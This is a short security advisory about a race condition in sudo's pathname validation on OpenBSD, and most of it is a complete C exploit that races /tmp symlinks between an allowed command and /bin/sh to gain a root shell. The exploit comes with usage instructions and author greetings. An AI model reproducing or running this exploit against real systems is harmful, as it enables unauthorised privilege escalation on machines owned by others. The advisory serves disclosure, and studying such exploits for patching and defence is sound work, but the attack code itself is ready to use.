[UNIX] sudo Pathname Validation Race Condition (Exploit)

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  sudo Pathname Validation Race Condition (Exploit)
------------------------------------------------------------------------


SUMMARY

sudo (superuser do) is "a program written for UNIX, Linux, and similar 
operating systems that allows users to run programs in the guise of 
another user (normally in the guise of the system's superuser)". A race 
condition in sudo whenever it tries to validates file pathname allows 
local attackers to gain elevated privileges.

DETAILS

Vulnerable Systems:
 * OpenBSD sudo versions 1.3.1 - 1.6.8p

Exploit:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysexits.h>
#include <sys/wait.h>

#define SUDO "/usr/bin/sudo"
#ifdef BUFSIZ
  #undef BUFSIZ
  #define BUFSIZ 128
#endif

/*
ANY MODIFIED REPUBLISHING IS RESTRICTED
OpenBSD sudo 1.3.1 - 1.6.8p local root exploit
Tested under OpenBSD 3.6 sudo 1.6.7p5
Vuln by OpenBSD errata, http://www.openbsd.org/errata.html
(c)oded by __blf 2005 RusH Security Team, http://rst.void.ru
Race condition in path name, can take a while to exploit
Gr33tz: x97Rang, whice, rsh, MishaSt, Inck-Vizitor, BlackPrince
Fck lamerz: Saint_I, nmalykh
All rights reserved.
ANY MODIFIED REPUBLISHING IS RESTRICTED
*/

int main (int argc, char ** argv)
{
  pid_t pid;
  void * buffer;
  char * exec, * race, * path;
  if(argc != 3)
  {
    fprintf(stderr, "r57sudo.c by __blf\n");
    fprintf(stderr, "RusH Security Team\n");
    fprintf(stderr, "Usage: %s <sudo full path command> <sudo command>\n",
    argv[0]);
    fprintf(stderr, "e.g. ./r57sudo /bin/ls ls\n");
    return EX_USAGE;
  }
  pid = fork();
  if(pid == 0)
  {
    while(1)
    {
      exec = (char *)calloc(BUFSIZ, sizeof(char));
      race = (char *)calloc(BUFSIZ, sizeof(char));
      bzero(exec, sizeof(exec));
      snprintf(exec, BUFSIZ, "ln -fs %s /tmp/%s", argv[1], argv[2]);
      system((char *)exec);
      bzero(race, sizeof(race));
      snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);
      system((char *)race);
      bzero(race, sizeof(race));
      snprintf(race, BUFSIZ, "ln -fs /bin/sh /tmp/%s", argv[2]);
      system((char *)race);
      bzero(race, sizeof(race));
      snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]);
      system((char *)race);
    }
  }
  if(pid > 0)
  {
    while(1)
    {
      path = (char *)calloc(BUFSIZ/2, sizeof(char));
      snprintf(path, BUFSIZ/2, "%s /tmp/%s", SUDO, argv[2]);
      system((char *)path);
    }
  }
}


ADDITIONAL INFORMATION

The original article can be found at:  
<http://rst.void.ru/download/r57sudo.c> 
http://rst.void.ru/download/r57sudo.c
The information has been provided by  <mailto:http://rst.void.ru> __blf.



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